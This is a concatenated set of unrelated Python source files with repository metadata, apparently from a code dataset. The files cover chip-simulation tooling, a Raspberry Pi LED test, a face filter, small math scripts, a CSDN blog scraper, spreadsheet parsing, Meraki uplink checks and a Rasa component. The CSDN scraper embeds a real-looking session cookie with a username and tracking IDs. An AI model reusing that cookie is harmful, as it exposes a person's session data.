\"\"\"Generate a benchmark run directory.\"\"\"\n # TODO(ucb-bar/hammer#462) this method should be passed the name of the bmark rather than its path\n bmark = os.path.basename(bmark_path)\n return os.path.join(self.run_dir, bmark)\n\n @property\n def force_regs_file_path(self) -> str:\n return os.path.join(self.run_dir, \"force_regs.ucli\")\n\n @property\n def access_tab_file_path(self) -> str:\n return os.path.join(self.run_dir, \"access.tab\")\n\n @property\n def simulator_executable_path(self) -> str:\n return os.path.join(self.run_dir, \"simv\")\n\n @property\n def run_tcl_path(self) -> str:\n return os.path.join(self.run_dir, \"run.tcl\")\n\n @property\n def env_vars(self) -> Dict[str, str]:\n v = dict(super().env_vars)\n v[\"VCS_HOME\"] = self.get_setting(\"sim.vcs.vcs_home\")\n v[\"VERDI_HOME\"] = self.get_setting(\"sim.vcs.verdi_home\")\n v[\"SNPSLMD_LICENSE_FILE\"] = self.get_setting(\"synopsys.SNPSLMD_LICENSE_FILE\")\n return v\n\n def get_verilog_models(self) -> List[str]:\n verilog_sim_files = self.technology.read_libs([\n hammer_tech.filters.verilog_sim_filter\n ], hammer_tech.HammerTechnologyUtils.to_plain_item)\n return verilog_sim_files\n\n def write_gl_files(self) -> bool:\n if self.level == FlowLevel.RTL:\n return True\n\n tb_prefix = self.get_setting(\"sim.inputs.tb_dut\")\n force_val = self.get_setting(\"sim.inputs.gl_register_force_value\")\n\n abspath_seq_cells = os.path.join(os.getcwd(), self.seq_cells)\n if not os.path.isfile(abspath_seq_cells):\n self.logger.error(\"List of seq cells json not found as expected at {0}\".format(self.seq_cells))\n\n with open(self.access_tab_file_path, \"w\") as f:\n with open(abspath_seq_cells) as seq_file:\n seq_json = json.load(seq_file)\n assert isinstance(seq_json, List), \"list of all sequential cells should be a json list of strings not {}\".format(type(seq_json))\n for cell in seq_json:\n f.write(\"acc=wn:{cell_name}\\n\".format(cell_name=cell))\n\n abspath_all_regs = os.path.join(os.getcwd(), self.all_regs)\n if not os.path.isfile(abspath_all_regs):\n self.logger.error(\"List of all regs json not found as expected at {0}\".format(self.all_regs))\n\n with open(self.force_regs_file_path, \"w\") as f:\n with open(abspath_all_regs) as reg_file:\n reg_json = json.load(reg_file)\n assert isinstance(reg_json, List), \"list of all sequential cells should be a json list of dictionaries from string to string not {}\".format(type(reg_json))\n for reg in sorted(reg_json, key=lambda r: len(r[\"path\"])): # TODO: This is a workaround for a bug in P-2019.06\n path = reg[\"path\"]\n path = '.'.join(path.split('/'))\n pin = reg[\"pin\"]\n f.write(\"force -deposit {\" + tb_prefix + \".\" + path + \" .\" + pin + \"} \" + str(force_val) + \"\\n\")\n\n return True\n\n def run_vcs(self) -> bool:\n # run through inputs and append to CL arguments\n vcs_bin = self.get_setting(\"sim.vcs.vcs_bin\")\n if not os.path.isfile(vcs_bin):\n self.logger.error(\"VCS binary not found as expected at {0}\".format(vcs_bin))\n return False\n\n if not self.check_input_files([\".v\", \".v.gz\", \".sv\", \".so\", \".cc\", \".c\"]):\n return False\n\n # We are switching working directories and we still need to find paths\n abspath_input_files = list(map(lambda name: os.path.join(os.getcwd(), name), self.input_files))\n\n top_module = self.top_module\n compiler_cc_opts = self.get_setting(\"sim.inputs.compiler_cc_opts\", [])\n compiler_ld_opts = self.get_setting(\"sim.inputs.compiler_ld_opts\", [])\n # TODO(johnwright) sanity check the timescale string\n timescale = self.get_setting(\"sim.inputs.timescale\")\n options = self.get_setting(\"sim.inputs.options\", [])\n defines = self.get_setting(\"sim.inputs.defines\", [])\n access_tab_filename = self.access_tab_file_path\n tb_name = self.get_setting(\"sim.inputs.tb_name\")\n\n # Build args\n args = [\n vcs_bin,\n \"-full64\",\n \"-lca\", # enable advanced features access, add'l no-cost licenses may be req'd depending on feature\n \"-debug_access+all\" # since I-2014.03, req'd for FSDB dumping & force regs\n ]\n\n if self.get_setting(\"sim.vcs.fgp\") and self.version() >= self.version_number(\"M-2017.03\"):\n args.append(\"-fgp\")\n\n if timescale is not None:\n args.append('-timescale={}'.format(timescale))\n\n # Add in options we pass to the C++ compiler\n args.extend(['-CC', '-I$(VCS_HOME)/include'])\n for compiler_cc_opt in compiler_cc_opts:\n args.extend(['-CFLAGS', compiler_cc_opt])\n\n # vcs requires libraries (-l) to be outside of the LDFLAGS\n for compiler_ld_opt in compiler_ld_opts:\n if compiler_ld_opt.startswith('-l'):\n args.extend([compiler_ld_opt])\n else:\n args.extend(['-LDFLAGS', compiler_ld_opt])\n\n # black box options\n args.extend(options)\n\n # Multicore options\n if isinstance(self.submit_command, HammerLSFSubmitCommand):\n if self.submit_command.settings.num_cpus is not None:\n args.extend(['-j'+str(self.submit_command.settings.num_cpus)])\n\n # Add in all input files\n args.extend(abspath_input_files)\n\n # Note: we always want to get the verilog models because most real designs will instantate a few\n # tech-specific cells in the source RTL (IO cells, clock gaters, etc.)\n args.extend(self.get_verilog_models())\n\n for define in defines:\n args.extend(['+define+' + define])\n\n if self.level.is_gatelevel():\n args.extend(['-P'])\n args.extend([access_tab_filename])\n if self.get_setting(\"sim.inputs.timing_annotated\"):\n args.extend([\"+neg_tchk\"])\n args.extend([\"+sdfverbose\"])\n args.extend([\"-negdelay\"])\n args.extend([\"-sdf\"])\n if self.sdf_file:\n args.extend([\"max:{top}:{sdf}\".format(top=top_module, sdf=os.path.join(os.getcwd(), self.sdf_file))])\n else:\n args.extend([\"+notimingcheck\"])\n args.extend([\"+delay_mode_zero\"])\n else:\n # Also disable timing at RTL level for any hard macros\n args.extend([\"+notimingcheck\"])\n args.extend([\"+delay_mode_zero\"])\n\n\n if tb_name != \"\":\n args.extend([\"-top\", tb_name])\n\n args.extend(['-o', self.simulator_executable_path])\n\n HammerVLSILogging.enable_colour = False\n HammerVLSILogging.enable_tag = False\n\n # Delete an old copy of the simulator if it exists\n if os.path.exists(self.simulator_executable_path):\n os.remove(self.simulator_executable_path)\n\n # Remove the csrc directory (otherwise the simulator will be stale)\n if os.path.exists(os.path.join(self.run_dir, \"csrc\")):\n shutil.rmtree(os.path.join(self.run_dir, \"csrc\"))\n\n # Generate a simulator\n self.run_executable(args, cwd=self.run_dir)\n\n HammerVLSILogging.enable_colour = True\n HammerVLSILogging.enable_tag = True\n\n return os.path.exists(self.simulator_executable_path)\n\n def run_simulation(self) -> bool:\n if not self.get_setting(\"sim.inputs.execute_sim\"):\n self.logger.warning(\"Not running any simulations because sim.inputs.execute_sim is unset.\")\n return True\n\n top_module = self.top_module\n exec_flags_prepend = self.get_setting(\"sim.inputs.execution_flags_prepend\", [])\n exec_flags = self.get_setting(\"sim.inputs.execution_flags\", [])\n exec_flags_append = self.get_setting(\"sim.inputs.execution_flags_append\", [])\n force_regs_filename = self.force_regs_file_path\n tb_prefix = self.get_setting(\"sim.inputs.tb_dut\")\n saif_mode = self.get_setting(\"sim.inputs.saif.mode\")\n if saif_mode == \"time\":\n saif_start_time = self.get_setting(\"sim.inputs.saif.start_time\")\n saif_end_time = self.get_setting(\"sim.inputs.saif.end_time\")\n elif saif_mode == \"trigger\":\n self.logger.error(\"Trigger SAIF mode currently unsupported.\")\n elif saif_mode == \"trigger_raw\":\n saif_start_trigger_raw = self.get_setting(\"sim.inputs.saif.start_trigger_raw\")\n saif_end_trigger_raw = self.get_setting(\"sim.inputs.saif.end_trigger_raw\")\n elif saif_mode == \"full\":\n pass\n elif saif_mode == \"none\":\n pass\n else:\n self.logger.warning(\"Bad saif_mode:${saif_mode}. Valid modes are time, trigger, full, or none. Defaulting to none.\")\n saif_mode = \"none\"\n\n if self.level == FlowLevel.RTL and saif_mode != \"none\":\n find_regs_run_tcl = []\n if saif_mode != \"none\":\n if saif_mode == \"time\":\n stime = TimeValue(saif_start_time[0])\n find_regs_run_tcl.append(\"run {start}ns\".format(start=stime.value_in_units(\"ns\")))\n elif saif_mode == \"trigger_raw\":\n find_regs_run_tcl.append(saif_start_trigger_raw)\n find_regs_run_tcl.append(\"run\")\n elif saif_mode == \"full\":\n pass\n # start saif\n find_regs_run_tcl.append(\"power {dut}\".format(dut=tb_prefix))\n find_regs_run_tcl.append(\"config endofsim noexit\")\n if saif_mode == \"time\":\n etime = TimeValue(saif_end_time)\n find_regs_run_tcl.append(\"run {end}ns\".format(end=(etime.value_in_units(\"ns\") - stime.value_in_units(\"ns\"))))\n elif saif_mode == \"trigger_raw\":\n find_regs_run_tcl.append(saif_end_trigger_raw)\n find_regs_run_tcl.append(\"run\")\n elif saif_mode == \"full\":\n find_regs_run_tcl.append(\"run\")\n # stop saif\n find_regs_run_tcl.append(\"power -report ucli.saif 1e-9 {dut}\".format(dut=tb_prefix))\n find_regs_run_tcl.append(\"run\")\n find_regs_run_tcl.append(\"exit\")\n self.write_contents_to_path(\"\\n\".join(find_regs_run_tcl), self.run_tcl_path)\n\n if self.level.is_gatelevel():\n find_regs_run_tcl = []\n find_regs_run_tcl.append(\"source \" + force_regs_filename)\n if saif_mode != \"none\":\n if saif_mode == \"time\":\n stime = TimeValue(saif_start_time[0])\n find_regs_run_tcl.append(\"run {start}ns\".format(start=stime.value_in_units(\"ns\")))\n elif saif_mode == \"trigger_raw\":\n find_regs_run_tcl.append(saif_start_trigger_raw)\n find_regs_run_tcl.append(\"run\")\n elif saif_mode == \"full\":\n pass\n # start saif\n find_regs_run_tcl.append(\"power -gate_level on\")\n find_regs_run_tcl.append(\"power {dut}\".format(dut=tb_prefix))\n find_regs_run_tcl.append(\"config endofsim noexit\")\n if saif_mode == \"time\":\n etime = TimeValue(saif_end_time)\n find_regs_run_tcl.append(\"run {end}ns\".format(end=(etime.value_in_units(\"ns\") - stime.value_in_units(\"ns\"))))\n elif saif_mode == \"trigger_raw\":\n find_regs_run_tcl.append(saif_end_trigger_raw)\n find_regs_run_tcl.append(\"run\")\n elif saif_mode == \"full\":\n find_regs_run_tcl.append(\"run\")\n # stop saif\n find_regs_run_tcl.append(\"power -report ucli.saif 1e-9 {dut}\".format(dut=tb_prefix))\n find_regs_run_tcl.append(\"run\")\n find_regs_run_tcl.append(\"exit\")\n self.write_contents_to_path(\"\\n\".join(find_regs_run_tcl), self.run_tcl_path)\n\n vcs_bin = self.get_setting(\"sim.vcs.vcs_bin\")\n for benchmark in self.benchmarks:\n if not os.path.isfile(benchmark):\n self.logger.error(\"benchmark not found as expected at {0}\".format(benchmark))\n return False\n\n # setup simulation arguments\n args = [ self.simulator_executable_path ]\n args.extend(exec_flags_prepend)\n if self.get_setting(\"sim.vcs.fgp\") and self.version() >= self.version_number(\"M-2017.03\"):\n # num_threads is in addition to a master thread, so reduce by 1\n num_threads=int(self.get_setting(\"vlsi.core.max_threads\")) - 1\n args.append(\"-fgp=num_threads:{threads},num_fsdb_threads:0,allow_less_cores,dynamictoggle\".format(threads=max(num_threads,1)))\n args.extend(exec_flags)\n if self.level.is_gatelevel():\n if saif_mode != \"none\":\n args.extend([\n # Reduce the number ucli instructions by auto starting and auto stopping\n '-saif_opt+toggle_start_at_set_region+toggle_stop_at_toggle_report',\n # Only needed if we are using start time pruning so we can return to ucli after endofsim\n '-ucli2Proc',\n ])\n args.extend([\"-ucli\", \"-do\", self.run_tcl_path])\n elif self.level == FlowLevel.RTL and saif_mode != \"none\":\n args.extend([\n # Reduce the number ucli instructions by auto starting and auto stopping\n '-saif_opt+toggle_start_at_set_region+toggle_stop_at_toggle_report',\n # Only needed if we are using start time pruning so we can return to ucli after endofsim\n '-ucli2Proc',\n ])\n args.extend([\"-ucli\", \"-do\", self.run_tcl_path])\n args.extend(exec_flags_append)\n\n HammerVLSILogging.enable_colour = False\n HammerVLSILogging.enable_tag = False\n\n # Our current invocation of VCS is only using a single core\n if isinstance(self.submit_command, HammerLSFSubmitCommand):\n old_settings = self.submit_command.settings._asdict()\n del old_settings['num_cpus']\n self.submit_command.settings = HammerLSFSettings(num_cpus=1, **old_settings)\n\n # Run the simulations in as many parallel runs as the user wants\n if self.get_setting(\"sim.inputs.parallel_runs\") == 0:\n runs = 1\n else:\n runs = self.get_setting(\"sim.inputs.parallel_runs\")\n bp = [] # type: List[Process]\n running = 0\n ran = 0\n for benchmark in self.benchmarks:\n bmark_run_dir = self.benchmark_run_dir(benchmark)\n # Make the rundir if it does not exist\n hammer_utils.mkdir_p(bmark_run_dir)\n if runs > 0 and running >= runs: # We are currently running the maximum number so we join first\n bp[ran].join()\n ran = ran + 1\n running = running - 1\n bp.append(Process(target=self.run_executable, args=(args + [benchmark],), kwargs={'cwd':bmark_run_dir}))\n bp[-1].start()\n running = running + 1\n # Make sure we join all remaining runs\n for p in bp:\n p.join()\n\n\n if self.benchmarks == []:\n self.run_executable(args, cwd=self.run_dir)\n\n HammerVLSILogging.enable_colour = True\n HammerVLSILogging.enable_tag = True\n\n return True\n\ntool = VCS\n","repo_name":"ucb-bar/hammer","sub_path":"hammer/sim/vcs/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":17431,"program_lang":"python","lang":"en","doc_type":"code","stars":210,"dataset":"github-code","pt":"62"} +{"seq_id":"25006827961","text":"import RPi.GPIO as GPIO\nimport time\nfrom ledboard import LEDBoard\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setwarnings(False)\n\ntest_pin = 0\nwhile test_pin != -1:\n test_pin = int(input(\"Enter what pin will you test( '-1' for Charlietest): \"))\n if test_pin != -1:\n print(\"You entered pin nr. :\", test_pin)\n GPIO.setup(test_pin,GPIO.OUT)\n print (\"LED on\")\n GPIO.output(test_pin,GPIO.HIGH)\n input (\"press enter to turn off\")\n print (\"LED off\")\n GPIO.output(test_pin,GPIO.LOW)\n \n\n\nprint(\"Charlietest!\")\n\nledboard = LEDBoard()\ninput(\"Success!\")\nledboard.success()\ninput(\"Failure\")\nledboard.failure()\ninput(\"Power down!\")\nledboard.power_down()\ninput(\"Power up!\")\nledboard.power_up()\ninput(\"Twinkle all lights!\")\nledboard.twinkle_all_leds(10)\ninput(\"Flashin all lights!\")\nledboard.flash_all_leds(10)\n\n\n\n\n","repo_name":"henrfj/oving-5-progglab","sub_path":"TDT4113_Project_5/pin_test.py","file_name":"pin_test.py","file_ext":"py","file_size_in_byte":846,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"19423455890","text":"import cv2\nimport numpy as np\nfrom math import hypot\n\ndef createBaba(landmarks, frame):\n baba_imagen = cv2.imread(\"assets/baba.png\")\n\n #get coordinates for mouth\n left_mouth = (landmarks.part(59).x , landmarks.part(59).y + 10)\n right_mouth = (landmarks.part(55).x , landmarks.part(55).y + 10)\n center_mouth = (landmarks.part(57).x , landmarks.part(57).y + 10 )\n\n width_mouth= int(hypot(left_mouth[0] - right_mouth[0], left_mouth[1] - right_mouth[1]))\n height_mouth = int(width_mouth*.77)\n\n\n baba_rick = cv2.resize(baba_imagen, (width_mouth, height_mouth))\n baba_rick_gray = cv2.cvtColor(baba_rick, cv2.COLOR_BGR2GRAY)\n \n _, baba_mask = cv2.threshold(baba_rick_gray, 25, 255, cv2.THRESH_BINARY_INV)\n\n #Get area of mouth\n top_left = ( int(center_mouth[0] - width_mouth/2), int(center_mouth[1] - height_mouth/2))\n try:\n baba_area = frame[top_left[1]: top_left[1] + height_mouth, top_left[0]: top_left[0] + width_mouth]\n\n baba_rick_area_sin_baba = cv2.bitwise_and(baba_area,baba_area, mask=baba_mask)\n\n final = cv2.add(baba_rick_area_sin_baba, baba_rick)\n\n #frame[top_left[1]: top_left[1] + height_mouth, top_left[0]: top_left[0] + width_mouth] = baba_final\n\n fromY = top_left[1]\n toY = top_left[1] + height_mouth\n fromX = top_left[0]\n toX = top_left[0] + width_mouth\n\n return fromX, toX, fromY, toY, final\n except:\n return 0, 0, 0, 0, 0","repo_name":"mateobv07/Filter-Rick-And-Morty","sub_path":"rickBaba.py","file_name":"rickBaba.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"11564809184","text":"import time\n\ndef fib(n):\n if n == 0:\n return 0\n if n == 1:\n return 1\n return fib(n - 1) + fib(n - 2)\n\ndef all_fib(n):\n fibs = []\n for i in range(n):\n fibs.append(fib(i))\n return fibs\n\nif __name__ == '__main__':\n start_time = time.time()\n num_list = [35, 35, 35, 35]\n for i, num in enumerate(num_list):\n print(i, all_fib(num))\n\n print(\"--- %s seconds ---\" % (time.time() - start_time))\n","repo_name":"onlyarche/python_study","sub_path":"multiprocessing/no_multiprocessing.py","file_name":"no_multiprocessing.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"26932922322","text":"#!/usr/bin/env python\nimport math, sys\n\ndef main(argv):\n a = int(argv[0])\n b = int(argv[1])\n c = int(argv[2])\n delta = b**2 - 4*a*c\n if(delta < 0):\n print(\"Brak rozwiazan\")\n return\n if(delta == 0):\n print(f\"Rozwiazanie to x1 = {-b/2/a}\")\n return\n sqrt_delta = math.sqrt(delta)\n print(f\"Rozwiazanie to x1 = {(-b-sqrt_delta)/2/a}, x2 = {(-b+sqrt_delta)/2/a}\")\n return\n \n \nif __name__ == \"__main__\":\n main(sys.argv[1:])","repo_name":"PiotrWrobelAGH/Python","sub_path":"zad9_quadratic_equation.py","file_name":"zad9_quadratic_equation.py","file_ext":"py","file_size_in_byte":480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"8583423657","text":"import sys\ndef checkPrimeNum(n):\n if n == 1 : return False\n elif n == 2 : return True\n elif n == 4 : return False \n for i in range(2,int(n/2)):\n if n/i == int(n/i):\n\n return False\n return True\n\n\nN = int(input())\ninputs = list(map(int, sys.stdin.readline().rstrip().split()))\ncount = 0\nfor input in inputs:\n if checkPrimeNum(input): count+=1\n\nprint(count)","repo_name":"UMC-KU/Algorithm-B","sub_path":"yeon/math/1978.py","file_name":"1978.py","file_ext":"py","file_size_in_byte":369,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"42693011106","text":"################################################################\n# > File Name: test.py\n# > Author: tabris\n# > Mail: 604925267@qq.com \n# > Created Time: 2018年05月05日 星期六 20时37分37秒\n################################################################\n\n# 爬取CSDN数据文件\n\n# 环境\n# Anaconda3 python 环境\n# redis python操作redis的库\n# requests 访问网页用的\n# BeautifulSoup HTML解析库\n\n# 插入redis时采用HASH\n# key:field:value => CSDN:hash(title+':'+time):[title+':'+time]\n\n# 直接在html中解析出title\n# 由于server返回的json也没有时间,所以对每个title访问其文章所在网页获取时间\n\n# -*- coding: utf-8 -*-\n\nimport time # 引入time模块 使用time()函数\n\nimport redis\nimport requests\nfrom bs4 import BeautifulSoup\n\nSCHEDULE = True\n\nr = redis.Redis(host='localhost', port=6379, decode_responses=True, db=2)\n\ndef insert(key,info,time):\n id = hash(info+':'+time)\n if r.hexists(key, id):\n pass\n else:\n print(id,':\\n',info+':'+time)\n r.hset(key, id, info+':'+time)\n if(SCHEDULE): print('---------------->>>>数据已插入redis数据库\\n')\n\nheaders = {\n 'Accept': 'application/json, text/javascript, */*; q=0.01',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'zh-CN,zh;q=0.9',\n 'Connection': 'keep-alive',\n 'Cookie': 'uuid_tt_dd=10_19746667890-1517545658385-746207; Hm_ct_6bcd52f51e9b3dce32bec4a3997715ac=1788*1*PC_VC; kd_user_id=232eab61-645a-4aa5-a31b-eb326ea4199a; UN=qq_33184171; __yadk_uid=OonBfwi6PAqK1J5FXPDtCMNEZORRQdE7; __message_sys_msg_id=0; __message_gu_msg_id=0; __message_cnel_msg_id=0; __message_in_school=0; dc_session_id=10_1525407336381.331877; smidV2=20180504121546487688887a90d7cb34e4f8bda3060fd4003ebe7b21de7fc00; kd_0e1a1f29-37da-4c44-8a33-b4735dc85f10_kuickDeal_pageIndex=0; kd_0e1a1f29-37da-4c44-8a33-b4735dc85f10_kuickDeal_leaveTime=1525407376813; BT=1525407375396; ADHOC_MEMBERSHIP_CLIENT_ID1.0=49a3019b-b278-a70a-9bef-bbd1832e4634; TY_SESSION_ID=3f5f4a07-df4b-4136-b4bd-c0cd2c99ff1d; Hm_lvt_6bcd52f51e9b3dce32bec4a3997715ac=1525497563,1525498773,1525499121,1525505588; dc_tos=p88vy0; Hm_lpvt_6bcd52f51e9b3dce32bec4a3997715ac=1525505993',\n 'Host': 'blog.csdn.net',\n 'Referer': 'https://blog.csdn.net/nav/cloud',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.117 Safari/537.36',\n 'X-Requested-With': 'XMLHttpRequest',\n 'X-Tingyun-Id': 'wl4EtIR_7Is;r=505993350',\n}\n\n\ndef get_time(_url):\n wb_data = requests.get(_url, headers=headers)\n # wb_data.encoding = 'utf-8'\n soup = BeautifulSoup(wb_data.text, \"lxml\")\n time = soup.select('.time')\n for x in time:\n # print(x)\n return x.text\n\n\ndef get_info(url):\n if (SCHEDULE): print('----------------------')\n if (SCHEDULE): print('开始访问网站')\n wb_data = requests.get(url, headers=headers)\n # wb_data.encoding = 'utf-8'\n soup = BeautifulSoup(wb_data.text, \"lxml\")\n\n if(SCHEDULE): print('访问成功,准备爬取数据')\n\n titles = soup.select('a[strategy=\"new\"]')\n titles.extend(soup.select('a[strategy=\"hot\"]'))\n for title in titles:\n _url = title.get('href') # 获取这个博文的链接 访问得到time\n time = get_time(_url) \n info = title.text.strip() \n insert('CSDN', info, time) # 插入到redis数据库中\n\n if(SCHEDULE): print('爬取数据成功')\n\n # 测试用的\n # print(type(soup))\n # print(\" ---------------------------- \")\n # print(\" ---------------------------- \")\n # print(\" ---------------------------- \")\n # print(\" ---------------------------- \")\n # print(soup.prettify())\n # print(soup.title.string)\n # print('Successfully!')\n\n\nif __name__ == '__main__':\n url = 'https://blog.csdn.net/nav/cloud'\n while(True):\n get_info(url)\n time.sleep(10) # 休眠10s\n \n print('PROGRAM END')\n","repo_name":"tabris233/Spider","sub_path":"CSDN/NoName.py","file_name":"NoName.py","file_ext":"py","file_size_in_byte":3970,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"3790836271","text":"import xlrd\nimport numpy\nfrom tqdm import trange\n\nx1 = xlrd.open_workbook('Porcine_Chip_120k_v1.1.xlsx')\nsheet = x1.sheets()[0]\n\nd = []\nfor r in trange(5, sheet.nrows):\n data1 = []\n for c in range(sheet.ncols):\n cell_value = str(sheet.cell_value(r, c))\n if len(cell_value) > 0:\n data1.append(cell_value)\n else:\n data1.append('-')\n\n d.append(list(data1))\n\nd = numpy.array(d)\nline_nums = d.shape[0]\nprint(d.shape)\n\nChr = list(range(1, 19)) + ['X', 'Y']\nfor c in Chr:\n output = open('Porcine_Chip/Chr_' + str(c) + '.txt', 'w', encoding='utf-8')\n for i in trange(line_nums):\n line = d[i]\n line[0] = line[0].split('.')[0]\n line[5] = line[5].split('.')[0]\n line[6] = line[6].split('.')[0]\n if str(c) == line[5]:\n output.writelines(' '.join(line) + '\\n')\n output.close()\n","repo_name":"Cheereus/PythonMemory","sub_path":"Mao/Porcine_Chip_To_Chr.py","file_name":"Porcine_Chip_To_Chr.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28361347465","text":"import requests\r\nimport time\r\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\r\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\r\n\r\n##Meraki Constants\r\nMERAKI_URL = 'https://dashboard.meraki.com/api/v0/'\r\nheaders = {'x-cisco-meraki-api-key': format(str('KEY OBSCURED')),'Content-Type': 'application/json'}\r\nOrgKey = 'KEY OBSCURED'\r\n\r\ndef dbmCSQ(csq):\r\n csqisolate = csq.split(\",\")[0]\r\n formattedcsq = int(csqisolate[4:])\r\n rssi = int(formattedcsq) * int(2) - 113\r\n percent = 2 * (rssi+100)\r\n str(percent)\r\n return percent\r\n\r\nprint(\"Start of Script\")\r\nprint(\"\\nGathering Organization Info from J.CREW Meraki Organization # : \" + OrgKey)\r\nnetworks = requests.get(MERAKI_URL + 'organizations' + '/' + OrgKey + '/' + 'networks', headers=headers, verify=False).json()\r\nprint(\"Organization Info Retrieved\")\r\n\r\n\r\nfor networks in networks:\r\n NoData = []\r\n\r\n if 'STR-' in networks['name']:\r\n\r\n #print(\"\\nGathering Device Data from : \" + networks['name'])\r\n devices = requests.get(MERAKI_URL + 'organizations' +'/' + OrgKey +\r\n '/' + 'networks' + '/' + networks['id'] + '/' +\r\n 'devices', headers=headers, verify=False).json()\r\n if devices == NoData:\r\n print(\"Store \" + networks['name'] + \" has no Data returned, It does not have devices bound to it. Check Dashboard.\")\r\n\r\n for devices in devices:\r\n\r\n if 'MX' in devices['model']:\r\n\r\n #print(\"\\nNow getting Cell Information from \" + devices['model'] +\r\n # \" \" + devices['serial'] + \" at \" + networks['name'])\r\n\r\n uplinks = requests.get(MERAKI_URL + 'organizations' +'/' + OrgKey + '/' + 'networks' + '/'\r\n + networks['id'] + '/' + 'devices' + '/' + devices['serial'] + '/' +\r\n 'uplink', headers=headers, verify=False).json()\r\n #print(uplinks)\r\n if uplinks is None:\r\n print(\"This store is not returning data, check if it is live in dashboard \" + networks['name'])\r\n\r\n\r\n for uplinks in uplinks:\r\n #print(uplinks)\r\n if 'Cellular' in uplinks['interface'] and 'Connecting' in uplinks['status'] and 'Unknown' in uplinks['provider']:\r\n try:\r\n print(\"This Store's Aircard is in Connecting State, needs to be reseated \" + networks['name'])\r\n break\r\n except KeyError:\r\n print(\"No Cell Data received from \" + networks['name'])\r\n break\r\n\r\n\r\n elif 'Cellular' not in uplinks['interface']:\r\n\r\n #print(\"This Store's Aircard does NOT have an aircard, it has the following WAN Connection : \")\r\n try:\r\n while 'WAN' in uplinks['interface']:\r\n #print(\"-\"+uplinks['interface'])\r\n #print(\"-\"+uplinks['ip'])\r\n #print(\"-\"+uplinks['status'])\r\n break\r\n\r\n except KeyError:\r\n print(\"-No WAN Data Received from \" + networks['name'] + \" Check Interfaces or if Store is Up.\")\r\n break\r\n\r\n '''elif 'Cellular' in uplinks['interface'] and 'Unknown' not in uplinks['signal']:\r\n try:\r\n dbmvalue = dbmCSQ(uplinks['signal'])\r\n print(\"Cellular Info : \")\r\n print(\"--Signal Strength : \" + str(dbmvalue) +\"%\"+\" (RSSI is \" + str((dbmvalue/2)-100)+\")\")\r\n print(\"--Provider : \" + uplinks['provider'])\r\n print(\"--Model : \" + uplinks['model'])\r\n print(\"--Status : \" + uplinks['status'])\r\n break\r\n except KeyError:\r\n print(\"-Invalid Cell Information received, Check Aircard\")\r\n break\r\n elif 'Cellular' in uplinks['interface'] and 'Unknown' not in uplinks['signal']:\r\n try:\r\n dbmvalue = dbmCSQ(uplinks['signal'])\r\n print(\"Cellular Info : \")\r\n print(\"--Signal Strength : \" + str(dbmvalue) +\"%\"+\" (RSSI is \" + str((dbmvalue/2)-100)+\")\")\r\n print(\"--Provider : \" + uplinks['provider'])\r\n print(\"--Model : \" + uplinks['model'])\r\n print(\"--Status : \" + uplinks['status'])\r\n break\r\n except KeyError:\r\n print(\"-Invalid Cell Information received, Check Aircard\")\r\n break\r\n'''\r\n\r\ntime.sleep(0.10)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"RandyN91/Meraki-Scripts","sub_path":"CellStatus.py","file_name":"CellStatus.py","file_ext":"py","file_size_in_byte":5149,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"71002387788","text":"import os\nimport typing\nfrom typing import Any, Dict, List, Optional, Text\n\nfrom rasa.nlu.components import Component\nfrom rasa.nlu.config import RasaNLUModelConfig\nimport rasa.utils.train_utils\nfrom rasa.nlu.model import Metadata\n\nif typing.TYPE_CHECKING:\n import mitie\n\n\nclass MitieNLP(Component):\n\n defaults = {\n # name of the language model to load - this contains\n # the MITIE feature extractor\n \"model\": os.path.join(\"data\", \"total_word_feature_extractor.dat\")\n }\n\n def __init__(\n self, component_config: Optional[Dict[Text, Any]] = None, extractor=None\n ) -> None:\n \"\"\"Construct a new language model from the MITIE framework.\"\"\"\n\n super().__init__(component_config)\n\n self.extractor = extractor\n\n @classmethod\n def required_packages(cls) -> List[Text]:\n return [\"mitie\"]\n\n @classmethod\n def create(\n cls, component_config: Dict[Text, Any], config: RasaNLUModelConfig\n ) -> \"MitieNLP\":\n import mitie\n\n component_config = rasa.utils.train_utils.override_defaults(\n cls.defaults, component_config\n )\n\n model_file = component_config.get(\"model\")\n if not model_file:\n raise Exception(\n \"The MITIE component 'MitieNLP' needs \"\n \"the configuration value for 'model'.\"\n \"Please take a look at the \"\n \"documentation in the pipeline section \"\n \"to get more info about this \"\n \"parameter.\"\n )\n extractor = mitie.total_word_feature_extractor(model_file)\n cls.ensure_proper_language_model(extractor)\n\n return cls(component_config, extractor)\n\n @classmethod\n def cache_key(\n cls, component_meta: Dict[Text, Any], model_metadata: \"Metadata\"\n ) -> Optional[Text]:\n\n mitie_file = component_meta.get(\"model\", None)\n if mitie_file is not None:\n return cls.name + \"-\" + str(os.path.abspath(mitie_file))\n else:\n return None\n\n def provide_context(self) -> Dict[Text, Any]:\n\n return {\n \"mitie_feature_extractor\": self.extractor,\n \"mitie_file\": self.component_config.get(\"model\"),\n }\n\n @staticmethod\n def ensure_proper_language_model(\n extractor: Optional[\"mitie.total_word_feature_extractor\"],\n ) -> None:\n\n if extractor is None:\n raise Exception(\n \"Failed to load MITIE feature extractor. 